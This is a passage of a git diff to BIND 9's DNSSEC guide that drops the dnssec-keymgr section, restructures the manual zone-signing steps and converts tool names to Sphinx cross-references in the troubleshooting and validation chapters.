-Checking That Your Zone Can Be Validated
-++++++++++++++++++++++++++++++++++++++++
-
-Finally, follow the steps in :ref:`how_to_test_authoritative_server`
-to confirm that a query recognizes the zone as properly signed and
-vouched for by the parent zone.
-
-So... What Now?
-+++++++++++++++
-
-Once the zone is signed, it must be monitored as described
-in :ref:`signing_maintenance_tasks`. However,
-as the time approaches for a key roll, you must create the new key. Of
-course, it is possible to create keys for the next fifty
-years all at once and set the key times appropriately. Whether the
-increased risk in having the private key files for future keys available
-on disk offsets the overhead of having to remember to create a new key
-before a rollover depends on your organization's security policy.
-
-.. _advanced_discussions_automatic_dnssec-keymgr:
-
-Fully Automatic Signing With ``dnssec-keymgr``
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-``dnssec-keymgr`` is a program supplied with BIND (versions 9.11 to
-9.16) to help with key rollovers. When run, it compares the timing
-information for existing keys with the defined policy, and adjusts it if
-necessary. It also creates additional keys as required.
-
-``dnssec-keymgr`` is completely separate from ``named``. As we will see,
-the policy states a coverage period; ``dnssec-keymgr`` generates
-enough key files to handle all rollovers in that period. However, it is
-a good idea to schedule it to run on a regular basis; that way there is
-no chance of forgetting to run it when the coverage period ends.
-
-BIND should be set up exactly the same way as described in
-:ref:`semi_automatic_signing`, i.e.,
-with ``auto-dnssec`` set to ``maintain`` and ``inline-signing`` set to
-``true``. Then a policy file must be created. The following is an
-example of such a file:
-
-::
-
-   # cat policy.conf
-   policy standard {
-       coverage 1y;
-       algorithm RSASHA256;
-       directory "/etc/bind";
-       keyttl 2h;
-
-       key-size ksk 4096;
-       roll-period ksk 1y;
-       pre-publish ksk 30d;
-       post-publish ksk 30d;
-
-       key-size zsk 2048;
-       roll-period zsk 90d;
-       pre-publish zsk 30d;
-       post-publish zsk 30d;
-   };
-
-   zone example.com {
-       policy standard;
-   };
-
-   zone example.net {
-       policy standard;
-       keyttl 300;
-   };
-
-As can be seen, the syntax is similar to that of the ``named``
-configuration file.
-
-In the example above, we define a DNSSEC policy called "standard". Keys
-are created using the RSASHA256 algorithm, assigned a TTL of two hours,
-and placed in the directory ``/etc/bind``. KSKs have a key size of
-4096 bits and are expected to roll once a year; the new key is added to the
-zone 30 days before it becomes active, and is retained in the zone for
-30 days after it is rolled. ZSKs have a key size of 2048 bits and roll
-every 90 days; like the KSKs, the are added to the zone 30 days before
-they are used for signing, and retained for 30 days after ``named``
-ceases signing with them.
-
-The policy is applied to two zones, ``example.com`` and ``example.net``.
-The policy is applied unaltered to the former, but for the latter the
-setting for the DNSKEY TTL has been overridden and set to 300 seconds.
-
-To apply the policy, we need to run ``dnssec-keymgr``. Since this does
-not read the ``named`` configuration file, it relies on the presence of
-at least one key file for a zone to tell it that the zone is
-DNSSEC-enabled. If a key file does not already exist, we first need to create
-one for each zone. We can do that either by running
-``dnssec-keygen`` to create a key file for each zone [#]_, or by
-specifying the zones in question on the command line. Here, we do the
-latter:
-
-::
-
-   # dnssec-keymgr -c policy.conf example.com example.net
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -L 7200 -a RSASHA256 -b 2048 example.net
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -L 7200 -fk -a RSASHA256 -b 4096 example.net
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -I 20200915110318 -D 20201015110318 Kexample.net.+008+31339
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.net.+008+31339 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -I 20201214110318 -D 20210113110318 Kexample.net.+008+14526
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.net.+008+14526 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -I 20210314110318 -D 20210413110318 Kexample.net.+008+46069
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.net.+008+46069 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -I 20210612110318 -D 20210712110318 Kexample.net.+008+13018
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.net.+008+13018 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -I 20210617110318 -D 20210717110318 Kexample.net.+008+55237
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.net.+008+55237 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -L 7200 -a RSASHA256 -b 2048 example.com
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -L 7200 -fk -a RSASHA256 -b 4096 example.com
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -P 20200617110318 -A 20200617110318 -I 20200915110318 -D 20201015110318 Kexample.com.+008+31168
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.com.+008+31168 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -I 20201214110318 -D 20210113110318 Kexample.com.+008+24199
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.com.+008+24199 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -I 20210314110318 -D 20210413110318 Kexample.com.+008+08728
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.com.+008+08728 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -I 20210612110318 -D 20210712110318 Kexample.com.+008+12874
-   # /usr/local/sbin/dnssec-keygen -q -K /etc/bind -S Kexample.com.+008+12874 -L 7200 -i 2592000
-   # /usr/local/sbin/dnssec-settime -K /etc/bind -P 20200617110318 -A 20200617110318 Kexample.com.+008+26186
-
-This creates enough key files to last for the coverage period, set in
-the policy file to be one year. The script should be run on a regular
-basis (probably via ``cron``) to keep the reserve of key files topped
-up. With the shortest roll period set to 90 days, every 30 days is
-more than adequate.
-
-At any time, you can check what key changes are coming up and whether
-the keys and timings are correct by using ``dnssec-coverage``. For
-example, to check coverage for the next 60 days:
-
-::
-
-    # dnssec-coverage -d 2h -m 1d -l 60d -K /etc/bind/keys
-   PHASE 1--Loading keys to check for internal timing problems
-   PHASE 2--Scanning future key events for coverage failures
-   Checking scheduled KSK events for zone example.net, algorithm RSASHA256...
-     Wed Jun 17 11:03:18 UTC 2020:
-       Publish: example.net/RSASHA256/55237 (KSK)
-       Activate: example.net/RSASHA256/55237 (KSK)
-
-   Ignoring events after Sun Aug 16 11:47:24 UTC 2020
+.. [#]
+   The dates can also be modified using an editor, but that is likely to
+   be more error-prone than using :iscman:`dnssec-settime`.
 
-   No errors found
+.. [#]
+   Only one key file - for either a KSK or ZSK - is needed to signal the
+   presence of the zone. :iscman:`dnssec-keygen` creates files of both
+   types as needed.
 
-   Checking scheduled ZSK events for zone example.net, algorithm RSASHA256...
-     Wed Jun 17 11:03:18 UTC 2020:
-       Publish: example.net/RSASHA256/31339 (ZSK)
-       Activate: example.net/RSASHA256/31339 (ZSK)
-     Sun Aug 16 11:03:18 UTC 2020:
-       Publish: example.net/RSASHA256/14526 (ZSK)
+.. _manual_signing_the_zone:
 
-   Ignoring events after Sun Aug 16 11:47:24 UTC 2020
+Signing the Zone
+^^^^^^^^^^^^^^^^
 
-   No errors found
+Now, edit the zone file to make sure the proper DNSKEY entries are included.
+The public keys should be inserted into the zone file by including the
+``.key`` files using ``$INCLUDE`` statements.
 
-   Checking scheduled KSK events for zone example.com, algorithm RSASHA256...
-     Wed Jun 17 11:03:18 UTC 2020:
-       Publish: example.com/RSASHA256/26186 (KSK)
-       Activate: example.com/RSASHA256/26186 (KSK)
+Use the command :iscman:`dnssec-signzone`. Any ``keyset`` files corresponding
+to secure sub-zones should be present. The zone signer generates ``NSEC``,
+``NSEC3``, and ``RRSIG`` records for the zone, as well as ``DS`` for the child
+zones if :option:`-g <dnssec-signzone -g>` is specified. If
+:option:`-g <dnssec-signzone -g>` is not specified, then DS RRsets for the
+secure child zones need to be added manually.
 
-   No errors found
+The following command signs the zone, assuming it is in a file called
+``zone.child.example``, using manually specified keys:
 
-   Checking scheduled ZSK events for zone example.com, algorithm RSASHA256...
-     Wed Jun 17 11:03:18 UTC 2020:
-       Publish: example.com/RSASHA256/31168 (ZSK)
-       Activate: example.com/RSASHA256/31168 (ZSK)
-     Sun Aug 16 11:03:18 UTC 2020:
-       Publish: example.com/RSASHA256/24199 (ZSK)
+.. code-block:: console
 
-   Ignoring events after Sun Aug 16 11:47:24 UTC 2020
+   # cd /etc/bind/keys/example.com/
+   # dnssec-signzone -t -N INCREMENT -o example.com -f /etc/bind/db/example.com.signed.db \
+       /etc/bind/db/example.com.db Kexample.com.+013+17694.key Kexample.com.+013+06817.key
+   Verifying the zone using the following algorithms: ECDSAP256SHA256.
+   Zone fully signed:
+   Algorithm: ECDSAP256SHA256: KSKs: 1 active, 0 stand-by, 0 revoked
+                               ZSKs: 1 active, 0 stand-by, 0 revoked
+   /etc/bind/db/example.com.signed.db
+   Signatures generated:                       17
+   Signatures retained:                         0
+   Signatures dropped:                          0
+   Signatures successfully verified:            0
+   Signatures unsuccessfully verified:          0
+   Signing time in seconds:                 0.046
+   Signatures per second:                 364.634
+   Runtime in seconds:                      0.055
 
-   No errors found
+The :option:`-o <dnssec-signzone -o>` switch explicitly defines the domain name
+(``example.com`` in this case), while the :option:`-f <dnssec-signzone -f>`
+switch specifies the output file name. The second line has three parameters:
+the unsigned zone name (``/etc/bind/db/example.com.db``), the ZSK file name,
+and the KSK file name. This also generates a plain-text file
+``/etc/bind/db/example.com.signed.db``, which can be manually verified for correctness.
 
-The ``-d 2h`` and ``-m 1d`` on the command line specify the maximum TTL
-for the DNSKEYs and other resource records in the zone: in this example
-two hours and one day, respectively. ``dnssec-coverage`` needs this
-information when it checks that the zones will remain secure through key
-rolls.
+:iscman:`dnssec-signzone` also produces keyset and dsset files. These are used
+to provide the parent zone administrators with the ``DNSKEY`` records (or their
+corresponding ``DS`` records) that are the secure entry point to the zone.
 
-.. _advanced_discussions_automatic_dnssec-policy:
+By default, all zone keys which have an available private key are used
+to generate signatures. You can use the :option:`-S <dnssec-signzone -S>` to
+only include keys that have the "Activate" timing metadata in the past and
+the "Inactive" timing metadata in the future (or not present).
 
-Fully Automatic Signing With ``dnssec-policy``
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+.. _manual_signing_reloading_zone:
 
-The latest development in DNSSEC key management appeared with BIND 9.16,
-and is the full integration of key management into ``named``. Managing
-the signing process and rolling of these keys has been described in
-:ref:`easy_start_guide_for_authoritative_servers` and is not
-repeated here. A few points are worth noting, though:
+Reloading the Zone
+^^^^^^^^^^^^^^^^^^
 
--  The ``dnssec-policy`` statement in the ``named`` configuration file
-   describes all aspects of the DNSSEC policy, including the signing.
-   With ``dnssec-keymgr``, this is split between two configuration files
-   and two programs.
+Now it is time to inform BIND that a new signed zonefile is available. We can
+do this with the :option:`rndc reload example.com <rndc reload>` command.
 
--  When using ``dnssec-policy``, there is no need to set the
-   ``auto-dnssec`` and ``inline-signing`` options for a zone. The zone's
-   ``policy`` statement implicitly does this.
+.. _manual_signing_verification:
 
--  It is possible to manage some zones served by an instance of BIND
-   through ``dnssec-policy`` and others through ``dnssec-keymgr``, but
-   this is not recommended. Although it should work, if you
-   modify the configuration files and inadvertently specify a zone to be
-   managed by both systems, BIND will not operate properly.
+Verifying That the Zone Is Signed Correctly
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
-.. _advanced_discussions_manual_key_management_and_signing:
+You should now check that the zone is signed. Follow the steps in
+:ref:`signing_verification`.
 
-Manual Signing
-^^^^^^^^^^^^^^
+.. _manual_signing_upload_ds:
 
-Manual signing of a zone was the first method of signing introduced into
-BIND and offers, as the name suggests, no automation. The user must
-handle everything: create the keys, sign the zone file with them, load
-the signed zone, periodically re-sign the zone, and manage key rolls,
-including interaction with the parent. A user certainly can do all this,
-but why not use one of the automated methods? Nevertheless, it may
-be useful for test purposes, so we cover it briefly here.
+Uploading the DS Record to the Parent
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
-The first step is to create the keys as described in :ref:`generate_keys`.
-Then, edit the zone file to make sure
-the proper DNSKEY entries are included in your zone file. Finally, use the
-command ``dnssec-signzone``:
+As described in :ref:`signing_easy_start_upload_to_parent_zone`, we must now
+upload the new information to the parent zone. The format of the information
+and how to generate it is described in :ref:`working_with_parent_zone`,
+although it is important to remember that you must use the contents of the
+KSK file that you generated above as part of the process.
 
-::
+The file ``dsset-example.com`` (created by :iscman:`dnssec-signzone` when it
+signed the ``example.com`` zone) contains the DS record for the zone's KSK.
 
-   # cd /etc/bind/keys/example.com/
-   # dnssec-signzone -A -t -N INCREMENT -o example.com -f /etc/bind/db/example.com.signed.db \
-   > /etc/bind/db/example.com.db Kexample.com.+008+17694.key Kexample.com.+008+06817.key
-   Verifying the zone using the following algorithms: RSASHA256.
-   Zone fully signed:
-   Algorithm: RSASHA256: KSKs: 1 active, 0 stand-by, 0 revoked
-                         ZSKs: 1 active, 0 stand-by, 0 revoked
-   /etc/bind/db/example.com.signed.db
-   Signatures generated:                       17
-   Signatures retained:                         0
-   Signatures dropped:                          0
-   Signatures successfully verified:            0
-   Signatures unsuccessfully verified:          0
-   Signing time in seconds:                 0.046
-   Signatures per second:                 364.634
-   Runtime in seconds:                      0.055
+If not yet done so, you will need to pass that to the administrator of the
+parent zone, to be placed in the zone. When the DS record is published in the
+parent zone, your zone is fully signed.
 
-The -o switch explicitly defines the domain name (``example.com`` in
-this case), while the -f switch specifies the output file name. The second line
-has three parameters: the unsigned zone name
-(``/etc/bind/db/example.com.db``), the ZSK file name, and the KSK file name. This
-also generates a plain text file ``/etc/bind/db/example.com.signed.db``,
-which you can verify for correctness.
+.. _manual_signing_validation:
 
-Finally, you'll need to update ``named.conf`` to load the signed version
-of the zone, which looks something like this:
+Checking That Your Zone Can Be Validated
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
-::
+Finally, follow the steps in :ref:`how_to_test_authoritative_server`
+to confirm that a query recognizes the zone as properly signed and
+vouched for by the parent zone.
 
-   zone "example.com" IN {
-       type primary;
-       file "db/example.com.signed.db";
-   };
+.. _manual_signing_resigning:
 
-Once the ``rndc reconfig`` command is issued, BIND serves a signed
-zone. The file ``dsset-example.com`` (created by ``dnssec-signzone``
-when it signed the ``example.com`` zone) contains the DS record for the
-zone's KSK. You will need to pass that to the administrator of the parent
-zone, to be placed in the zone.
+Re-signing the Zone
+^^^^^^^^^^^^^^^^^^^
 
 Since this is a manual process, you will need to re-sign periodically,
-as well as every time the zone
-data changes. You will also need to manually roll the keys by adding and
-removing DNSKEY records (and interacting with the parent) at the
-appropriate times.
+as well as every time the zone data changes. You will also need to manually
+roll the keys by adding and removing DNSKEY records (and interacting with the
+parent) at the appropriate times.
 
-.. [#]
-   The dates can also be modified using an editor, but that is likely to
-   be more error-prone than using ``dnssec-settime``.
+So... What Now?
+^^^^^^^^^^^^^^^
 
-.. [#]
-   Only one key file - for either a KSK or ZSK - is needed to signal the
-   presence of the zone. ``dnssec-keygen`` creates files of both
-   types as needed.
+Once the zone is signed, it must be monitored as described in
+:ref:`signing_maintenance_tasks`. However, as the time approaches for a key
+roll, you must create the new key. Of course, it is possible to create keys
+for the next fifty years all at once and set the key times appropriately.
+Whether the increased risk in having the private key files for future keys
+available on disk offsets the overhead of having to remember to create a new
+key before a rollover depends on your organization's security policy.
diff --git a/doc/dnssec-guide/troubleshooting.rst b/doc/dnssec-guide/troubleshooting.rst
index 2f145e0966..ca8e4f52a0 100644
--- a/doc/dnssec-guide/troubleshooting.rst
+++ b/doc/dnssec-guide/troubleshooting.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _dnssec_troubleshooting:
 
@@ -99,7 +100,7 @@ Visible DNSSEC Validation Symptoms
 
 After determining the query path, it is necessary to
 determine whether the problem is actually related to DNSSEC
-validation. You can use the ``+cd`` flag in ``dig`` to disable
+validation. You can use the :option:`dig +cd` flag to disable
 validation, as described in
 :ref:`how_do_i_know_validation_problem`.
 
@@ -131,14 +132,14 @@ server at 192.168.1.7:
    ;; WHEN: Wed Mar 18 15:12:49 GMT 2020
    ;; MSG SIZE  rcvd: 72
 
-With ``delv``, a "resolution failed" message is output instead:
+With :iscman:`delv`, a "resolution failed" message is output instead:
 
 ::
 
    $ delv @10.53.0.3 www.example.org. A +rtrace
    ;; fetch: www.example.org/A
    ;; resolution failed: SERVFAIL
-   
+
 BIND 9 logging features may be useful when trying to identify
 DNSSEC errors.
 
@@ -147,7 +148,7 @@ DNSSEC errors.
 Basic Logging
 ~~~~~~~~~~~~~
 
-DNSSEC validation error messages show up in ``syslog`` as a
+DNSSEC validation error messages show up in :any:`syslog` as a
 query error by default. Here is an example of what it may look like:
 
 ::
@@ -172,11 +173,11 @@ logging is thus not recommended for production servers.
 
 With that said, sometimes it may become necessary to temporarily enable
 BIND debug logging to see more details of how and whether DNSSEC is
-validating. DNSSEC-related messages are not recorded in ``syslog`` by default,
-even if query log is enabled; only DNSSEC errors show up in ``syslog``.
+validating. DNSSEC-related messages are not recorded in :any:`syslog` by default,
+even if query log is enabled; only DNSSEC errors show up in :any:`syslog`.
 
 The example below shows how to enable debug level 3 (to see full DNSSEC
-validation messages) in BIND 9 and have it sent to ``syslog``:
+validation messages) in BIND 9 and have it sent to :any:`syslog`:
 
 ::
 
@@ -204,7 +205,7 @@ The example below shows how to log DNSSEC messages to their own file
 
 After turning on debug logging and restarting BIND, a large
 number of log messages appear in
-``syslog``. The example below shows the log messages as a result of
+:any:`syslog`. The example below shows the log messages as a result of
 successfully looking up and validating the domain name ``ftp.isc.org``.
 
 ::
@@ -278,7 +279,7 @@ Below is an example attempting to resolve the A record for a test domain
 name ``www.example.net``. From the user's perspective, as described in
 :ref:`how_do_i_know_validation_problem`, only a SERVFAIL
 message is returned. On the validating resolver, we see the
-following messages in ``syslog``:
+following messages in :any:`syslog`:
 
 ::
 
@@ -317,9 +318,9 @@ shortened for ease of display):
 
 Next, we query for the DNSKEY and RRSIG of ``example.net`` to see if
 there's anything wrong. Since we are having trouble validating, we
-can use the ``+cd`` option to temporarily disable checking and return
+can use the :option:`dig +cd` option to temporarily disable checking and return
 results, even though they do not pass the validation tests. The
-``+multiline`` option tells ``dig`` to print the type, algorithm type,
+:option:`dig +multiline` option causes :iscman:`dig` to print the type, algorithm type,
 and key id for DNSKEY records. Again,
 some long strings are shortened for ease of display:
 
@@ -403,7 +404,7 @@ Unable to Load Keys
 ^^^^^^^^^^^^^^^^^^^
 
 This is a simple yet common issue. If the key files are present but
-unreadable by ``named`` for some reason, the ``syslog`` returns clear error
+unreadable by :iscman:`named` for some reason, the :any:`syslog` returns clear error
 messages, as shown below:
 
 ::
@@ -414,14 +415,13 @@ messages, as shown below:
    named[32447]: zone example.com/IN (signed): next key event: 27-Nov-2014 20:04:36.521
 
 However, if no keys are found, the error is not as obvious. Below shows
-the ``syslog`` messages after executing ``rndc
+the :any:`syslog` messages after executing ``rndc
 reload`` with the key files missing from the key directory:
 
 ::
 
    named[32516]: received control channel command 'reload'
    named[32516]: loading configuration from '/etc/bind/named.conf'
-   named[32516]: reading built-in trusted keys from file '/etc/bind/bind.keys'
    named[32516]: using default UDP/IPv4 port range: [1024, 65535]
    named[32516]: using default UDP/IPv6 port range: [1024, 65535]
    named[32516]: sizing zone task pool based on 6 zones
@@ -434,7 +434,7 @@ reload`` with the key files missing from the key directory:
    named[32516]: zone example.com/IN (signed): next key event: 27-Nov-2014 20:07:09.292
 
 This happens to look exactly the same as if the keys were present and
-readable, and appears to indicate that ``named`` loaded the keys and signed the zone. It
+readable, and appears to indicate that :iscman:`named` loaded the keys and signed the zone. It
 even generates the internal (raw) files:
 
 ::
@@ -443,7 +443,7 @@ even generates the internal (raw) files:
    # ls
    example.com.db  example.com.db.jbk  example.com.db.signed
 
-If ``named`` really loaded the keys and signed the zone, you should see
+If :iscman:`named` really loaded the keys and signed the zone, you should see
 the following files:
 
 ::
@@ -461,8 +461,8 @@ Invalid Trust Anchors
 ^^^^^^^^^^^^^^^^^^^^^
 
 In most cases, you never need to explicitly configure trust
-anchors. ``named`` supplies the current root trust anchor and,
-with the default setting of ``dnssec-validation``, updates it on the
+anchors. :iscman:`named` supplies the current root trust anchor and,
+with the default setting of :any:`dnssec-validation`, updates it on the
 infrequent occasions when it is changed.
 
 However, in some circumstances you may need to explicitly configure
@@ -508,7 +508,7 @@ shows an example of querying a recursive server 10.53.0.3:
    ;; QUESTION SECTION:
    ;www.example.org.       IN  A
 
-``delv`` shows a similar result:
+:iscman:`delv` shows a similar result:
 
 ::
 
@@ -539,28 +539,28 @@ BIND 9.11 introduced Negative Trust Anchors (NTAs) as a means to
 *temporarily* disable DNSSEC validation for a zone when you know that
 the zone's DNSSEC is misconfigured.
 
-NTAs are added using the ``rndc`` command, e.g.:
+NTAs are added using the :iscman:`rndc` command, e.g.:
 
 ::
 
    $ rndc nta example.com
     Negative trust anchor added: example.com/_default, expires 19-Mar-2020 19:57:42.000
-    
+
 
 The list of currently configured NTAs can also be examined using
-``rndc``, e.g.:
+:iscman:`rndc`, e.g.:
 
 ::
 
    $ rndc nta -dump
     example.com/_default: expiry 19-Mar-2020 19:57:42.000
-    
+
 
 The default lifetime of an NTA is one hour, although by default, BIND
 polls the zone every five minutes to see if the zone correctly
 validates, at which point the NTA automatically expires. Both the
 default lifetime and the polling interval may be configured via
-``named.conf``, and the lifetime can be overridden on a per-zone basis
+:iscman:`named.conf`, and the lifetime can be overridden on a per-zone basis
 using the ``-lifetime duration`` parameter to ``rndc nta``. Both timer
 values have a permitted maximum value of one week.
 
@@ -569,7 +569,7 @@ values have a permitted maximum value of one week.
 NSEC3 Troubleshooting
 ~~~~~~~~~~~~~~~~~~~~~
 
-BIND includes a tool called ``nsec3hash`` that runs through the same
+BIND includes a tool called :iscman:`nsec3hash` that runs through the same
 steps as a validating resolver, to generate the correct hashed name
 based on NSEC3PARAM parameters. The command takes the following
 parameters in order: salt, algorithm, iterations, and domain. For
@@ -582,5 +582,7 @@ would execute a command like this:
    $ nsec3hash 1234567890ABCEDF 1 10 www.example.com
    RN7I9ME6E1I6BDKIP91B9TCE4FHJ7LKF (salt=1234567890ABCEDF, hash=1, iterations=10)
 
+Zero-length salt can be specified as ``-``.
+
 While it is unlikely you would construct a rainbow table of your own
 zone data, this tool may be useful when troubleshooting NSEC3 problems.
diff --git a/doc/dnssec-guide/validation.rst b/doc/dnssec-guide/validation.rst
index 5d30dcd0c7..a499587983 100644
--- a/doc/dnssec-guide/validation.rst
+++ b/doc/dnssec-guide/validation.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _DNSSEC_validation:
 
@@ -39,7 +40,7 @@ described in :ref:`how_to_test_recursive_server`.
 
 In earlier versions of BIND, including 9.11-ESV, DNSSEC
 validation must be explicitly enabled. To do this, you only need to
-add one line to the ``options`` section of your configuration file:
+add one line to the :namedconf:ref:`options` section of your configuration file:
 
 ::
 
@@ -49,13 +50,11 @@ add one line to the ``options`` section of your configuration file:
         ...
     };
 
-Restart ``named`` or run ``rndc reconfig``, and your recursive server is
+Restart :iscman:`named` or run :option:`rndc reconfig`, and your recursive server is
 now happily validating each DNS response. If this does not work for you,
-and you have already verified DNSSEC support as described in
-:ref:`dnssec_support_in_bind`, you may have some other
-network-related configurations that need to be adjusted. Take a look at
-:ref:`network_requirements` to make sure your network is ready for
-DNSSEC.
+you may have some other network-related configurations that need to be
+adjusted. Take a look at :ref:`network_requirements` to make sure your network
+is ready for DNSSEC.
 
 .. _effect_of_enabling_validation:
 
@@ -113,34 +112,31 @@ confirm that it is in fact validating DNS responses.
 
 -  `Internet.nl <https://en.conn.internet.nl/connection/>`__
 
--  `DNSSEC Resolver Test (uni-due.de) <https://dnssec.vs.uni-due.de/>`__
-
 -  `DNSSEC or Not (VeriSign) <https://www.dnssec-or-not.com/>`__
 
 .. _using_dig_to_verify:
 
-Using ``dig`` to Verify
-^^^^^^^^^^^^^^^^^^^^^^^
+Using :iscman:`dig` to Verify
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
 Web-based DNSSEC-verification tools often employ JavaScript. If you don't trust the
 JavaScript magic that the web-based tools rely on, you can take matters
 into your own hands and use a command-line DNS tool to check your
 validating resolver yourself.
 
-While ``nslookup`` is popular, partly because it comes pre-installed on
-most systems, it is not DNSSEC-aware. ``dig``, on the other hand, fully
+While :iscman:`nslookup` is popular, partly because it comes pre-installed on
+most systems, it is not DNSSEC-aware. :iscman:`dig`, on the other hand, fully
 supports the DNSSEC standard and comes as a part of BIND. If you do not
-have ``dig`` already installed on your system, install it by downloading
-it from ISC's `website <https://www.isc.org/download>`__. ISC provides pre-compiled
-Windows versions on its website.
+have :iscman:`dig` already installed on your system, install it by downloading
+it from ISC's `website <https://www.isc.org/download>`__.
 
-``dig`` is a flexible tool for interrogating DNS name servers. It
+:iscman:`dig` is a flexible tool for interrogating DNS name servers. It
 performs DNS lookups and displays the answers that are returned from the
 name servers that were queried. Most seasoned DNS administrators use
-``dig`` to troubleshoot DNS problems because of its flexibility, ease of
+:iscman:`dig` to troubleshoot DNS problems because of its flexibility, ease of
 use, and clarity of output.
 
-The example below shows how to use ``dig`` to query the name server 10.53.0.1
+The example below shows how to use :iscman:`dig` to query the name server 10.53.0.1
 for the A record for ``ftp.isc.org`` when DNSSEC validation is enabled
 (i.e. the default). The address 10.53.0.1 is only used as an example;
 replace it with the actual address or host name of your
@@ -201,7 +197,7 @@ file, i.e.:
    };
 
 If the server is restarted (to ensure a clean cache) and the same
-``dig`` command executed, the result is very similar:
+:iscman:`dig` command executed, the result is very similar:
 
 ::
 
@@ -233,7 +229,7 @@ If the server is restarted (to ensure a clean cache) and the same
    ;; MSG SIZE  rcvd: 187
 
 However, this time there is no ``ad`` flag in the header. Although
-``dig`` is still returning the DNSSEC-related resource records, it is
+:iscman:`dig` is still returning the DNSSEC-related resource records, it is
 not checking them, and thus cannot vouch for the authenticity of the answer.
 If you do carry out this test, remember to re-enable DNSSEC validation
 (by removing the ``dnssec-validation no;`` line from the configuration
@@ -281,7 +277,7 @@ name fails:
    ;; MSG SIZE  rcvd: 78
 
 On the other hand, if DNSSEC validation is disabled (by adding the
-statement ``dnssec-validation no;`` to the ``options`` clause in the
+statement ``dnssec-validation no;`` to the :namedconf:ref:`options` clause in the
 configuration file), the lookup succeeds:
 
 ::
@@ -323,10 +319,10 @@ How Do I Know I Have a Validation Problem?
 
 Since all DNSSEC validation failures result in a general ``SERVFAIL``
 message, how do we know if it was really a validation error?
-Fortunately, there is a flag in ``dig``, (``+cd``, for "checking
+Fortunately, there is a flag in :iscman:`dig`, ("CD" for "checking
 disabled") which tells the server to disable DNSSEC validation. If
 you receive a ``SERVFAIL`` message, re-run the query a second time
-and set the ``+cd`` flag. If the query succeeds with ``+cd``, but
+and set the :option:`dig +cd` flag. If the query succeeds with :option:`dig +cd`, but
 ends in ``SERVFAIL`` without it, you know you are dealing with a
 validation problem. So using the previous example of
 ``www.dnssec-failed.org`` and with DNSSEC validation enabled in the
@@ -373,8 +369,8 @@ take a closer look at what DNSSEC validation actually does, and some other optio
 
 .. _dnssec_validation_explained:
 
-``dnssec-validation``
-^^^^^^^^^^^^^^^^^^^^^
+:any:`dnssec-validation`
+^^^^^^^^^^^^^^^^^^^^^^^^
 
 ::
 
@@ -383,9 +379,9 @@ take a closer look at what DNSSEC validation actually does, and some other optio
    };
 
 This “auto” line enables automatic DNSSEC trust anchor configuration
-using the ``managed-keys`` feature. In this case, no manual key
+using the :any:`managed-keys` feature. In this case, no manual key
 configuration is needed. There are three possible choices for the
-``dnssec-validation`` option:
+:any:`dnssec-validation` option:
 
 -  *yes*: DNSSEC validation is enabled, but a trust anchor must be
    manually configured. No validation actually takes place until
@@ -397,11 +393,11 @@ configuration is needed. There are three possible choices for the
 -  *auto*: DNSSEC validation is enabled, and a default trust anchor
    (included as part of BIND 9) for the DNS root zone is used. This is the
    default; BIND automatically does this if there is no
-   ``dnssec-validation`` line in the configuration file.
+   :any:`dnssec-validation` line in the configuration file.
 
 Let's discuss the difference between *yes* and *auto*. If set to
